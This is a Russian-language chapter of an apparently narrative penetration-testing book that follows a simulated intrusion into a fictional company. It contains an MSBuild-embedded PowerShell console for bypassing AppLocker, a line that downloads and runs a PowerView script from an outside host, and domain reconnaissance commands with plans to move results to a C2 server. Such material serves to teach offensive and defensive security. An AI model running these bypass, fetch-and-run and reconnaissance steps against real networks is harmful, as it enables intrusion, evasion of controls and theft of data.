Глава 6. Ворваться и попасться!
Содержание
В то время как приводимое в конце Главы 5 решение и в самом деле предоставляет рабочий обходной путь для AppLocker и режима с Ограничениями языка, просто не практично перестраивать проект всякий раз когда мы запускаем отдельную команду. Чтобы разрешить эту проблему, мы усилим свой ранее построенный код с тем, чтобы он включал подобную PowerShell консоль, которая интерактивно запускает команды и отображает получаемый вывод. Затем мы сможем воспользоваться им для исполнения своего сценария PowerView совместно с прочими командами разведки и получением кучи новых сведений.
Базовый скелет консоли PowerShell вы можете обнаружить разбросанным по веб- сайту Microsoft Host06 Sample во множестве примеров и образцов кода. Таким образом, нам остаётся лишь вопрос настройки этих фрагментов кода и их объединения с нашим проектом MSBuild из Главы 5.
Этот каркас кода Microsoft по началу может показаться пугающим, пэтому давайте вначале разберём наиболее важные блоки. Если вы пожелаете поэкспериментировать с данным сценарием, я рекомендую вам выгрузить полную рабочую версию, console.xml из папки msbuild репозитория GitHub данной книги.
Фрагмент кода из Примера 1 с веб- сайта Microsoft начинается со всеобъемлющего класса
PSListenerConsoleSample, показанного в Листинге 6.1, который будет содержать все необходимые
свойства и методы нашей среды PowerShell.
Листинг 6.1. Скелет класса PSListenerConsoleSample
--snip--
internal class PSListenerConsoleSample {
--snip--
private void Run()
{
1 while (!this.ShouldExit){
2 string cmd = this.consoleReadLine.Read();
this.Execute(cmd);
}
// Выход с желательным кодом выхода, который устанавливается нашей командой выхода.
Environment.Exit(this.ExitCode);
}
--snip--
}
Метод Run вызывается функцией Main и вводит в игру
этот класс. Он составляется циклом 1, который считывает
ввод пользователя 2 и вызывает метод
Execute. Это носит поразительное сходство с тем, что мы предпринимали в
Главы 5.
Наш метод Execute это обёртка вокруг executeHelper,
который в свою очередь инициирует среду PowerShell через теперь знакомый метод PowerShell.Create
и продолжает исполнение ввода пользователя, ранее собранного в методе Run
(Листинг 6.2).
Листинг 6.2. Псевдо- реализация метода executeHelper
private void executeHelper(string cmd, object input){
lock (this.instanceLock){
this.currentPowerShell = PowerShell.Create();
}
this.currentPowerShell.AddScript(cmd);
--snip--
}
Вот и всё из самого интересного. Остальная часть кода поверх данных методов просто обеспечивает интерактивный интерфейс пользователя: расцвечивание ввода/ вывода, очистку экрана, обработку ошибок, предотвращение крайних случаев условий состязательности и тому подобного. Мы просто принимаем его в том виде, как он есть, когда мы теперь имеем представление о том где осуществляется реальная обработка.
Теперь, чтобы вызвать этот класс PSListenerConsoleSample из нашего предыдущего
проекта MSBuild, который ускользает от AppLocker, мы вначале выполним вставку этого скопированного класса целиком сразу после своего
класса PsCommand. Для раскрытия его методов, мы превращаем класс
PSListenerConsoleSample в public (Листинг 6.3).
Листинг 6.3. Новый скелет нашего проекта MSBuild для обладания интерактивной консолью
public class PsCommand : Task, ITask {
public override bool Execute() {
// Наш предыдущий код C#
return true;
}
}
public class PSListenerConsoleSample {
--snip--
// Код Microsoft для обладания интерактивной консолью
}
Теперь мы соскребём свой исполняющий команды PowerShell предыдущий код C# и заменим его несколькими строками кода, который
будет конкретизировать наш PSListenerConsoleSample и вызывать его метод
Run для порождения интерактивной консоли (Листинг 6.4).
Листинг 6.4. Мы конкретизируем PSListenerConsoleSample
из нашего класса PsCommand
public class PsCommand : Task, ITask {
public override bool Execute() {
ConsoleColor oldFg = Console.ForegroundColor;
Console.ForegroundColor = ConsoleColor.Cyan;
Console.WriteLine("Windows PowerShell Wrapper");
Console.WriteLine("Copyright (C) @SparcFlow. All rights reserved");
PSListenerConsoleSample listener = new PSListenerConsoleSample();
listener.Run();
return true;
} // конец метода Execute
}
public class PSListenerConsoleSample {
}
И вуаля... По крайней мере, это всё что нам необходимо сделать. Однако, если вы будете следовать этим рекомендациям буквально и
запустите получившийся сценарий, вы утонете в море ошибок. Проблема в том, что Microsoft разбросала полностью функционирующий код
по большому числу примеров в своей веб- странице. Например, класс с названием MyHostUserInterface
определяется только в Примере 3, даже хотя на него присутствуют ссылки в Примере 2. Исправление таких проблем в свою очередь
вводит потребность импорта новых интерфейсов.
Поскольку эти дополнения в основном представляют собой шаблонный код, копируемый непосредственно из документации Microsoft, мы не будем на них останавливаться. Опять же, вы можете выгрузить полностью рабочий сценарий с уже внесёнными изменениями из нашего репозитория GitHub.
Рисунок 6.1 показывает результаты запуска нашего нового кода Франкенштейна при помощи такой команды:
PS X:\> C:\Windows\Microsoft.Net\Framework64\v4.0.30319\MSBuild.exe console.txt
Намного лучше! Теперь, когда у нас имеется жизнеспособная практика пользователя, давайте ещё раз попробуем запустить сценарий PowerView.
Наше первое действие в этом новом окне PowerShell без ограничений состоит в создании объекта веб- клиента браузера для выборки сценария PowerView из Интернета:
PS X:\> $browser = New-Object System.Net.WebClient;
В Главе 5 эта команда завершалась неудачей, но на этот раз мы не получаем никаких ошибок. Затем мы инструктируем этот объект браузера воспользоваться полномочиями по умолчанию имеющегося прокси системного уровня, также как и в случае с исходящим обменом HTTP, протекающим через аутентифицированный прокси для достижения Интернета:
PS X:\> $browser.Proxy.Credentials =[System.Net.CredentialCache]::DefaultNetworkCredentials;
Наконец, мы выгружаем в память и исполняем свой сценарий PowertView. Это последняя строка является сочетанием
Invoke-Expression (IEX) и
DownloadString, которые выгружают и загружают данный сценарий:
PS X:\> IEX($browser.DownloadString('https://sf-res.com/miniview.ps1'));
Вы отметите, что вместо загрузки изначального сценария PowertView мы пользуемся индивидуальной усечённой версией, которая определяет лишь пару методов, которыми мы в действительности будем пользоваться. Вскоре мы вернёмся к настоящей причине этой меры.
Теперь мы собрали свой собственный интерфейс PowerShell внутри сервера Citrix, построили необходимого веб клиента и загрузили сценарий PowerView; мы можем в конце концов вызывать разные предоставляемые PowerView методы получения сведений. Вернёмся к своим делам разведки.
Мы почти готовы к выборке множества сведений, поэтому дабы превратить их в более удобоваримые, вместо того чтобы проверять их сразу, мы запишем получаемые результаты во множество файлов, которые затем сможем выгрузить в свой сервер C2 для анализа на досуге.
Начнём с пачки сведений обо всех пользователях через команду PowerShell Get-NetUser:
PS X:\> Get-NetUser |
select name, lastlogontimestamp, serviceprincipalname, admincount, memberof |
Format-Table -Wrap -AutoSize |
out-file users.txt
Значение admincount увеличивается на единицу всякий раз, когда пользователь повышает
свои полномочия в некой машине. Это может помочь нам определить пользователей домена с локальными полномочиями администраторов
(хотя стоит отметить, что эти сведения это не точно, поскольку полномочия администратора могут быть утрачены со временем по
различным причинам). Значение serviceprincipalname это идентификатор уникальной службы,
вовлекаемый в аутентификацию Kerberos, о котором мы дополнительно поговорим в Главе 9. Значение атрибута memberof нумерует группы, к которым относится
данный пользователь. Наконец, аргумент Format-Table избегает усечения длинного вывода строк,
что является установленным по умолчанию поведением PowerShell. Все полученные нами сведения мы сохраняем в
users.txt.
Мы продолжим выборкой перечислений групп и участия в них. Не забывайте, что наивысшим приоритетом для нас является выявление разработчиков, работающих над программным обеспечением Strat Accounting:
PS X:\> Get-NetGroup -FullData | select name, description | Format-Table -Wrap -AutoSize | out-file groups.txt
PS X:\> Get-NetGroup | Get-NetGroupMember -FullData | ForEach-Object -Process { "$($_.GroupName), $($_.MemberName), $($_.description)"} | out-file group_members.txt
Наша команда Get-NetGroup возвратит полный набор сведений, относящийся к группе:
дату создания, описание, уникальный идентификатор объекта и тому подобное. Всё это мы сохраним в
groups.txt. Get-NetGroupMember возвратит учётные записи
пользователей, входящих в каждую заданную группу, предоставляемую в виде входных данных. Мы отправляем конвейером все группы из
Get-NetGroup в Get-NetGroupMember с тем, чтобы
перечислить всех участников каждой из групп. Эти сведения следуют в group_members.txt.
Также мы выполняем выборку GPO (Объектов групповой политики), которые характеризуют этот домен, например, установленную политику
аудита, политику пароля, настройки безопасности и тому подобное - короче говоря, все биты настроенной командой ИТ конфигурации. Это
поможет нам получить некое понимание имеющих место политик безопасности. Для этого мы воспользуемся встроенной командой Windows
gpresult, которая оформит нам аккуратно форматированный отчёт HTML:
PS X:\> gpresult -h gpo.html
Наш следующий этап состоит в выводе перечня доступных совместных сетевых ресурсов посредством команды
Invoke-ShareFinder и сохраняем их в shares.txt:
PS X:\> Invoke-ShareFinder | out-file shares.txt
Такие совместные папки часто содержат драгоценные сведения в диапазоне от паролей до реальных бизнес- сведений, превращая их в наиболее важные ресурсы домена. Если нам повезёт, в неком совместном ресурсе может храниться код Strat Accounting.
Дополнительные относящиеся к исполняемым в текущем сервере Citrix процессам сведения мы получаем естественной командой PowerShell
Get-Process, которые сохраняем в processes.txt:
PS X:\> Get-Process |
Select-Object id, name, username, path |
Format-Table -Wrap -AutoSize |
out-file processes.txt
Далее мы выполняем выборку перечня запущенных служб, зондируя имеющийся класс win32_service
через Windows Management Instrumentation (WMI) и сохраняя его в services.txt. WMI это просто
ещё один способ выставления внутренних компонентов Windows и взаимодействия с ними. Порой проще выполнять выборку атрибутов
определённых объектов через WMI, нежели через естественные исполняемые файлы Windows, как в данной ситуации:
PS X:\> Get-WmiObject win32_service -filter "state='running'" |
select name,processid,pathname |
Format-Table -Wrap -AutoSize |
out-file services.txt
Мы сохранили полученные результаты всех этих команд в локальных текстовых файлах (и в HTML), поэтому мы можем выгрузить их в свой сервер C2 для анализа в спокойной обстановке. Если так случится, что Citrix запрещает операции копирования и вставки (copy-past), мы можем воспользоваться бесплатной веб службой Ghostbin чтобы вставить имеющееся содержимое этих файлов с последующей выборкой из них через наш прифронтовой сервер, или же мы можем напрямую отправлять эти файлы через HTTP в наш собственный веб- сервер в этом прифронтовом сервере.
Теперь проанализируем наши данные. С чего мы должны начинать? Наша окончательная цель - найти машины и пользователей, обладающих доступом к коду Strat Accounting, а потому вполне естественно начать с участия в группах.
Мы выполним поиск любых ключевых слов, которые способны указывать команды разработчиков в нашем файле
groups.txt. Чтобы пройтись по ним вручную, имеется слишком много записей, раз мы обсуждаем компанию с
почти 800 работниками. Таким образом, мы призываем себе в помощь команду grep, передавая ей ключевые
слова, которые способны относиться к командам разработчиков:
root@FrontLine:~# grep -Ei "dev|code|programmer|accounting|project" groups.txt
name Description
SNOW Dev. Refer to doc
CERSEI Dev. Refer to doc
YGRITTE Dev. Refer to doc
TYRION Dev. Refer to doc
--snip--
Как вы можете наблюдать, для ссылок на команды в Active Directory Strat Jumbo пользуется именами из Игры престолов. На данный момент нам не известно относится ли каждая из команд к проекту, или к функциональным возможностям ядра проекта, либо к домену ведения дел, охватывающего множество проектов. В конце концов, мы разберёмся с этим, когда продолжим свой набег на эту сетевую среду. Таблица 6.1 отображает предварительный просмотр участия пользователей на основе сведений, собранных в файле group_members.txt:
| Группа | Участники |
|---|---|
|
jack.bosa, jake.sparrow. . . |
|
lizzie.dutch. . . |
|
mozzie.caffrey, lucilla.silvy. . . |
|
neil.cobbo. . . |
|
cassini.morini, carl.sagan. . . |
|
janet.mcintyre, rodolpho.schwatz, jim.marrot. . . |
|
tara.tomora. . . |
|
elise.first, anya.ivanova. . . |
|
ron.bilius, richard.darwin, david.stuart. . . |
|
laura.stevens, monica.fourb. . . |
Хотя применение кодовым имён,несомненно, до определённой степени забавно, тем не менее, мы добавляем себе ещё один обруч, через который нам предстоит прыгать. Как ни странно, когда мы сверяемся с перечнем пользователей, которых мы обманули в ходе своей фишинговой компании, оказывается, все они принадлежат к трём из этих групп: ARYA, TORMUND и RHAEGAR.
Естественно, вопрос на миллион долларов: связаны ли какие- либо из этих проектов с командой разработчиков Strat Accounting? Чтобы выяснить это, нам придётся вернуться и получить больше сведений. Возможно, мы сможем отыскать вики- сайт, какие- нибудь документы PDF в общих папках, архивы электронной почты и тому подобное.
Однако перед этим, возможно, стоит оценить уровень безопасности Strat Jumbo. Речь идёт о ненужных сведениях или о полном мусоре?
Мы пройдёмся по своему отчёту GPO gpo.html, в частности, по разделам "Security Settings" под "User Details" и "Computer Configuration", чтобы углубиться в установленную для применения политику паролей:
Minimum password length: 7 characters
Password must meet complexity requirements: Enabled
Maximum password age: 90 days
Account lockout threshold: 10 invalid logon attempts
Пароли должны изменяться по крайней мере каждые 90 дней и обязаны отвечать правилам строгой сложности. Значение порога блокировок установлено на 10 попыток, что исключает всякие атаки с автоматическим перебором.
Это достаточно стандартно; тем не менее, кое- что явно выделяется в нашем отчёте GPO в разделах "Local Policies/Audit Policy" и "Advanced Audit Configuration".
В Strat Jumbo большую популярность имеет включение регистраций! Обычно компании придерживаются стандартных политик аудита Windows, которые регистрируют лишь успешные входы в систему, неудачные попытки входа в систему, блокировку учётных записей и т.п. и никогда не задумываются о них повторно. Но Strat Jumbo к тому же регистрирует большое число дополнительных событий Windows, таких как нарушение доступа к файлам, применение прав администратора (или особых прав), изменение участия в привилегированных группах, загрузка кода в службу аутентификации LSA и тому подобное. В своём отчёте GPO мы наблюдаем:
Audit Logon: Success,Failure
Audit Special Logon: Success,Failure
Audit File Share: Failure
Audit File System: Failure
Turn on PowerShell Script Block Logging: Enabled
--snip--
К своему ужасу мы заметили, что ведение журнала блокировок регистрации PowerShell включено, что означает, что все совершённые нами команды PowerShell были записаны в Диспетчер событий! Нас может успокоить лишь тот факт, что журналы редко централизованы в отдельном месте, не говоря уж о мониторинге вредоносных полезных нагрузок ... за исключением того, что Strat Jumbo, кажется, делает именно это. Мы можем обнаружить это, осуществив поиск в перечне процессов, связанных с такими моментами как аудит и политика:
root@FrontLine:~# grep -Ei "log|audit|policy" process_list.txt
972 LogonUI c:\windows\sysytem32\logonUI.exe
5652 nxlog c:\Program Files (x86)\nxlog\nxlog.exe
--snip--
Это показывает нам, что nxlog, программное обеспечение для отправки регистрируемых событий,
активно исполняется и отправляет события аудита в иное место.
Нам надлежит быть осторожными, чтобы не оставлять позади себя слишком широкий шлейф. Если нам повезёт, эти журналы копятся на ежедневной основе с последующим удалением через месяц без какого- бы то ни было просмотра. Менее дружественная нам ситуация включает в себя команду зорких ястребов, зорко контролирующих 140" экран в режиме 24/7 на предмет малейших предупреждений, выдаваемых первоклассным инструментарием мониторинга с машинным обучением.
Что касается антивирусного продукта, единственным активным является Windows Defender, встроенный антивирус Microsoft по умолчанию.
Мы можем заключить это по запущенному в нашей машине процессу MsMpEng:
root@FrontLine:~# cat process_list.txt
5188 MsMpEng
--snip--
Вам может показаться что обойти его будет проще простого, но позднее это вызовет у нас головную боль.
Давайте на минутку вспомним о своей среде. В настоящий момент мы пребываем в сервере Windows с полными исправлениями и приличной политикой паролей, включёнными AppLocker, отключённой встроенной учётной записью администратора, PowerShell с режимом Ограниченного языка, настраиваемой политикой аудита, централизованным ведением журнала ... В конце концов, Strat Jumbo это не шутка. Тем не менее, нам удалось настроить в их сервере рабочую оболочку, воспользовавшись одной из самых простых атак: кражей пароля. Ещё одно свидетельство неспособности мира технологий решать основные ситуации подражания пользователям!
Тем не менее, было бы глупо игнорировать мерцающие вокруг нас предупредительные знаки. Strat Jumbo не шутит, когда речь заходит об информационной безопасности. Если мы свернём не туда, они станут охотиться за нами, как за кроликами в открытом зелёном поле. А это может быть лишь вершина айсберга. Быть может, имеются и иные продукты, о которых мы не догадываемся, но они прячутся внутри этой инфраструктуры, скажем, проверка пакетов, корреляция событий или инструментарий поведенческого мониторинга. Оглядываясь назад, хорошо что мы не воспользовались сбросом оболочки Empire/ Meterpreter на сотню рабочих станций через своё фишинговое письмо; маячковое поведение обычных пакетов, попадающих в одно и то же доменное имя, скорее всего, было бы перехвачено либо на сетевом, либо на системном уровне.
Раз уж мы здесь на таком тонком льду, то не будем задерживаться дольше чем это необходимо в подобном змеином гнезде.
У нас имеются полномочия для относящихся к трём группам разработчиков учётных записей. Когда мы пройдёмся по их скомбинированным закладкам Firefox, регистрационным записям браузеров и персональным папкам, мы должны получить некоторые документы относительно того как команды разработчиков Strat Jumbo структурированы по миру, а отсюда мы сможем определить целевым образом тех пользователей, которые работают с проектом Strat Accounting.
Для этого мы попробуем подключиться ещё раз к тому же серверу Citrix при помощи учётной записи Лауры (Рисунок 6.2).
Кроме того что отражено на Рисунке 6.2, мы не можем войти. Пароль Лауры отклонён.
Мы испытываем три других случайным образом выбранных из полученных путём фишинга учётных данных, но сталкиваемся с точно таким же жёстким сообщением об ошибке. Мы могли бы пройтись по 31 остающимся учётным записям, но, скорее всего, вы начинаете осознавать что же произошло. Примерно за последние восемь часов четыре учётные записи были заблокированы, или, что более вероятно, сброшены. Проходящее время действительно создаёт проблемы. Каковы шансы отказа нескольких учётных записей за столь непродолжительный период времени?
Как бы маловероятным это не казалось, нам следует приступить к рассмотрению пугающей вероятности того, что Strat Jumbo каким- то образом пронюхали о нашем вторжении и быстро отреагировали. Как вы догадываетесь, это плохой признак! Нам требуется новый план.
-
Посвящённая обходу ограничений Citrix в блоге NetSPI, озаглавленная "Breaking Out! of Applications Deployed via Terminal Services, Citrix, and Kiosks" (Вырываемся из развёртываемых через терминальные службы, Citrix и киоски приложений)
-
Документация Microsoft по построению интерактивной консоли PowerShell